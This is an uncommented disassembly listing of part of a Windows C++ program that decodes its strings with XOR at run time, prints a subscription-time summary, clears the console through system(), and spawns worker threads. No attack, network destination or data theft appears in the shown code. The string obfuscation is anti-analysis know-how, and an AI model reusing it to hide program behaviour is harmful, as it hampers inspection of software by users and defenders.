mov qword [rbp + 0x368], rax
movabs rax, 0x3bc7dc1eca1b53e4
mov qword [rbp + 0x370], rax
movabs rax, 0xa9f517ce36b6e25e
mov qword [rbp + 0x378], rax
movabs rdx, 0x3e013266b70e8fbb
mov qword [rbp + 0x380], rdx
movabs rcx, 0xad7e5c63389b3f64
mov qword [rbp + 0x388], rcx
mov qword [rbp + 0x1420], rdi
mov qword [rbp + 0x1428], r13
movabs rax, 0xb00de568edb31e9d
mov qword [rbp + 0x1430], rax
movabs rax, 0x3a749bd0cb4b536
mov qword [rbp + 0x1438], rax
mov qword [rbp + 0x1440], rsi
mov qword [rbp + 0x1448], r15
movabs rax, 0x4e86fc6ca55d7381
mov qword [rbp + 0x1450], rax
movabs rax, 0xc79c70a17a968d2a
mov qword [rbp + 0x1458], rax
mov qword [rbp + 0x1460], rdx
mov qword [rbp + 0x1468], rcx
movdqa xmm0, xmmword [rbp + 0x1420]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm0
movdqa xmm1, xmmword [rbp + 0x1430]
xorps xmm1, xmmword [rbp + 0x350]
movdqa xmmword [rbp + 0x350], xmm1
movdqa xmm0, xmmword [rbp + 0x1440]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x360], xmm0
movdqa xmm1, xmmword [rbp + 0x1450]
xorps xmm1, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmm0, xmmword [rbp + 0x1460]
xorps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rbp + 0x380], xmm0
lea rdx, [rbp + 0x340]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000faa0
nop
mov rdx, qword [rbp + 0xa18]
cmp rdx, 0xf
jbe 0x14000a9cf
inc rdx
mov rcx, qword [rbp + 0xa00]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a9ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a9ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
mov qword [rbp + 0xa10], r12
mov qword [rbp + 0xa18], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa00], 0
movabs rdi, 0xb00de568edb31e9d
mov r13d, r12d
mov rcx, qword [0x140142c08]
mov rax, rcx
mov rdx, qword [0x140142c00]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14000b403
mov rsi, r12
movzx ebx, byte [rsp + 0x30]
movzx edi, byte [rsp + 0x30]
movabs r15, 0x514c6b8b20d147d3
sub rcx, rdx
sar rcx, 6
cmp rcx, rsi
jbe 0x14000b764
shl rsi, 6
add rsi, rdx
mov rdx, rsi
lea rcx, [rbp + 0xae0]
call fcn.14000cf40
nop
lea rdx, [rsi + 0x20]
lea rcx, [rbp + 0xb00]
call fcn.14000cf40
nop
lea rdx, [rbp + 0xb00]
lea rcx, [rbp + 0x970]
call fcn.14000cf40
mov rsi, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000aa88
mov rcx, qword [rax]
xor edx, edx
mov r8d, 0xa
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd r14, eax
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x14000aad3
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x14000aace
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000b603
mov rcx, r8
call fcn.1400c38bc
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__difftime64]
cvttsd2si r8d, xmm0
mov eax, 0xc22e4507
imul r8d
lea r14d, [r8 + rdx]
sar r14d, 0x10
mov eax, r14d
shr eax, 0x1f
add r14d, eax
mov eax, 0x91a2b3c5
imul r8d
lea esi, [r8 + rdx]
sar esi, 0xb
mov eax, esi
shr eax, 0x1f
add esi, eax
mov eax, 0x2aaaaaab
imul esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub esi, eax
mov eax, 0x88888889
imul r8d
lea ecx, [r8 + rdx]
sar ecx, 5
mov eax, ecx
shr eax, 0x1f
add ecx, eax
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3c
sub ecx, eax
mov qword [rbp + 0x480], r15
movabs rax, 0xdece3a5bd5b13930
mov qword [rbp + 0x488], rax
movabs rax, 0x22291ffe4eb82af3
mov qword [rbp + 0x1070], rax
movabs r15, 0xdece3a5bd5b1191c
mov qword [rbp + 0x1078], r15
movdqa xmm0, xmmword [rbp + 0x1070]
xorps xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x550], xmm0
mov edx, ecx
lea rcx, [rbp + 0x5f0]
call fcn.140003120
mov r12, rax
mov qword [rsp + 0x58], rax
movabs rax, 0x2056c8c3bd742d3
mov qword [rbp + 0x4b0], rax
mov qword [rbp + 0x4b8], r15
movabs rax, 0x22291ffe4eb82af3
mov qword [rbp + 0x10b0], rax
mov qword [rbp + 0x10b8], r15
movdqa xmm0, xmmword [rbp + 0x10b0]
xorps xmm0, xmmword [rbp + 0x4b0]
movdqa xmmword [rbp + 0x560], xmm0
mov edx, esi
lea rcx, [rbp + 0x6f0]
call fcn.140003120
mov r15, rax
mov qword [rbp + 0x20], rax
movabs rax, 0x2209338d37d94ed3
mov qword [rbp + 0x4c0], rax
movabs rsi, 0xdece3a5bd5b1191c
mov qword [rbp + 0x4c8], rsi
movabs rax, 0x22291ffe4eb82af3
mov qword [rbp + 0x10d0], rax
mov qword [rbp + 0x10d8], rsi
movdqa xmm0, xmmword [rbp + 0x10d0]
xorps xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x570], xmm0
mov edx, r14d
lea rcx, [rbp + 0x5c0]
call fcn.140003120
mov r14, rax
movabs rax, 0x475b3f9b23d17ef9
mov qword [rbp + 0x5a0], rax
movabs rax, 0xe4a95432bbd87871
mov qword [rbp + 0x5a8], rax
movabs rax, 0xb00de568edb31ebd
mov qword [rbp + 0x5b0], rax
movabs rcx, 0x3a749bd0cb4b536
mov qword [rbp + 0x5b8], rcx
movups xmm1, xmmword [rbp + 0x5a0]
movups xmm2, xmmword [rbp + 0x5b0]
movabs rax, 0x22291ffe4eb82af3
mov qword [rbp + 0x1090], rax
mov qword [rbp + 0x1098], rsi
movabs rax, 0xb00de568edb31e9d
mov qword [rbp + 0x10a0], rax
mov qword [rbp + 0x10a8], rcx
movdqa xmm0, xmmword [rbp + 0x1090]
xorps xmm0, xmm1
movdqa xmmword [rbp + 0x1a0], xmm0
xorps xmm2, xmmword [rbp + 0x10a0]
movdqa xmmword [rbp + 0x1b0], xmm2
lea rax, [rbp + 0x1a0]
mov rsi, 0xffffffffffffffff
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14000ad50
mov r8, qword [r14 + 0x10]
mov rcx, qword [r14 + 0x18]
mov rax, rcx
sub rax, r8
cmp rsi, rax
ja 0x14000ae12
lea rax, [r8 + rsi]
mov qword [r14 + 0x10], rax
mov r15, r14
cmp rcx, 0xf
jbe 0x14000ad84
mov r15, qword [r14]
lea rax, [rbp + 0x1a0]
add rax, rsi
cmp rax, r15
jbe 0x14000adc6
lea rax, [r15 + r8]
lea rcx, [rbp + 0x1a0]
cmp rcx, rax
ja 0x14000adc6
lea rax, [rbp + 0x1a0]
cmp r15, rax
ja 0x14000adb7
xor r10d, r10d
mov r12d, r10d
jmp 0x14000adc9
lea rax, [rbp + 0x1a0]
mov r12, r15
sub r12, rax
jmp 0x14000adc9
mov r12, rsi
lea rcx, [r15 + rsi]
inc r8
mov rdx, r15
call sub.VCRUNTIME140.dll_memmove
mov r8, r12
lea rdx, [rbp + 0x1a0]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r15 + r12]
mov r8, rsi
sub r8, r12
lea rax, [r12 + rsi]
lea rdx, [rbp + 0x1a0]
add rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rbp + 0x20]
mov r12, qword [rsp + 0x58]
jmp 0x14000ae37
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call fcn.1400177e0
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xor esi, esi
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r14], sil
lea rax, [rbp + 0x570]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000ae80
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x70]
call fcn.14000ec90
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, r15
lea r8, [rbp + 0x50]
movzx edx, dil
lea rcx, [rbp + 0x3d0]
call fcn.1400124e0
nop
lea rax, [rbp + 0x560]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000aef0
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x3d0]
call fcn.14000ec90
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r9, r12
lea r8, [rbp + 0xb0]
movzx edx, bl
lea rcx, [rbp + 0x3b0]
call fcn.1400124e0
nop
lea rax, [rbp + 0x550]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000af71
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x3b0]
call fcn.14000ec90
xorps xmm0, xmm0
movups xmmword [rbp + 0xa40], xmm0
xor r12d, r12d
mov qword [rbp + 0xa50], r12
mov qword [rbp + 0xa58], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r12b
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x14000b00e
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b009
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b60a
call fcn.1400c38bc
mov qword [rbp + 0x3c0], r12
mov qword [rbp + 0x3c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3b0], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14000b068
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b063
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b611
call fcn.1400c38bc
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0xf
jbe 0x14000b0c2
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b0bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b618
call fcn.1400c38bc
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x3e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3d0], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000b116
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b111
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b61f
call fcn.1400c38bc
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14000b164
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b15f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b626
call fcn.1400c38bc
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x14000b1bb
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b1b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b62d
call fcn.1400c38bc
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x708]
cmp rdx, 0xf
jbe 0x14000b215
inc rdx
mov rcx, qword [rbp + 0x6f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b210
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b634
call fcn.1400c38bc
mov qword [rbp + 0x700], r12
mov qword [rbp + 0x708], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6f0], 0
mov rdx, qword [rbp + 0x608]
cmp rdx, 0xf
jbe 0x14000b26f
inc rdx
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b26a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b63b
call fcn.1400c38bc
mov qword [rbp + 0x600], r12
mov qword [rbp + 0x608], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5f0], 0
lea rdx, str.Subscription_Info:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000faa0
lea rdx, [rbp + 0xa40]
cmp qword [rbp + 0xa58], 0xf
cmova rdx, qword [rbp + 0xa40]
mov r8, qword [rbp + 0xa50]
mov rcx, rax
call fcn.140015280
lea rdx, [0x14000fc70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0xa58]
cmp rdx, 0xf
jbe 0x14000b31e
inc rdx
mov rcx, qword [rbp + 0xa40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b319
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b642
call fcn.1400c38bc
mov qword [rbp + 0xa50], r12
mov qword [rbp + 0xa58], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa40], 0
mov rdx, qword [rbp + 0xb18]
cmp rdx, 0xf
jbe 0x14000b378
inc rdx
mov rcx, qword [rbp + 0xb00]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b373
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b649
call fcn.1400c38bc
mov qword [rbp + 0xb10], r12
mov qword [rbp + 0xb18], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb00], 0
mov rdx, qword [rbp + 0xaf8]
cmp rdx, 0xf
jbe 0x14000b3d2
inc rdx
mov rcx, qword [rbp + 0xae0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b3cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b649
call fcn.1400c38bc
inc r13d
movsxd rsi, r13d
mov rcx, qword [0x140142c08]
mov rax, rcx
mov rdx, qword [0x140142c00]
sub rax, rdx
sar rax, 6
cmp rsi, rax
jb 0x14000aa23
movabs rdi, 0xb00de568edb31e9d
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [0x140142ac0]
call fcn.140028900
movabs rax, 0x22291ffe4ecb4690
mov qword [rbp + 0x540], rax
movabs r15, 0xdece3a5bd5b1191c
mov qword [rbp + 0x548], r15
movabs rbx, 0x22291ffe4eb82af3
mov qword [rbp + 0x11a0], rbx
mov qword [rbp + 0x11a8], r15
movdqa xmm0, xmmword [rbp + 0x11a0]
xorps xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x7e0], xmm0
lea rcx, [rbp + 0x7e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0x63094bb70fef0af9
mov qword [rbp + 0x610], rax
movabs rax, 0xf08b6e0e9bf8543c
mov qword [rbp + 0x618], rax
movabs rax, 0xb00de568edb31eb3
mov qword [rbp + 0x620], rax
movabs rax, 0x3a749bd0cb4b536
mov qword [rbp + 0x628], rax
movups xmm1, xmmword [rbp + 0x610]
movups xmm2, xmmword [rbp + 0x620]
mov qword [rbp + 0x1100], rbx
mov qword [rbp + 0x1108], r15
mov qword [rbp + 0x1110], rdi
mov qword [rbp + 0x1118], rax
movdqa xmm0, xmmword [rbp + 0x1100]
xorps xmm0, xmm1
movdqa xmmword [rbp + 0x8b0], xmm0
movdqa xmm1, xmmword [rbp + 0x1110]
xorps xmm1, xmm2
movdqa xmmword [rbp + 0x8c0], xmm1
lea rdx, [rbp + 0x8b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000faa0
mov qword [rbp + 0xa60], r12
mov ecx, 0x28
call fcn.1400c3880
mov rbx, rax
mov qword [rbp + 0x48], rax
lea rdx, [0x140142a78]
mov rcx, rax
call fcn.14000cf40
lea rax, [0x1400053b0]
mov qword [rbx + 0x20], rax
mov qword [rbp + 0xa60], rbx
lea rax, [rbp + 0xab0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
mov r9, rbx
lea r8, [0x140018dd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xaa8], rax
test rax, rax
je 0x14000b713
mov qword [rbp + 0xa60], r12
mov ecx, 8
call fcn.1400c3880
lea rcx, [0x14000b8a0]
mov qword [rax], rcx
mov qword [rbp + 0x9d0], rax
lea rcx, [rbp + 0xa90]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140018da0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xa88], rax
test rax, rax
je 0x14000b700
mov qword [rbp + 0x9d0], r12
call fcn.140007c80
nop
cmp dword [rbp + 0xa90], 0
je 0x14000b650
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp dword [rbp + 0xab0], 0
je 0x14000b660
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0xa38], 0
je 0x14000b670
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0xa28], 0
je 0x14000b680
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rdx, qword [rbp + 0xa80]
cmp rdx, 0xf
jbe 0x14000b6c4
inc rdx
mov rcx, qword [rbp + 0xa68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b6bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b6bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c38bc
xor eax, eax
mov rcx, qword [rbp + 0x5cc0]
xor rcx, rsp
call fcn.1400c3860
lea r11, [rsp + 0x5df0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0xa90], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xab0], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xa38], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xa28], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.14000ebd0
nop
call fcn.140002000
nop
call fcn.140002000
nop
call fcn.140002100
nop
call fcn.140002100
int3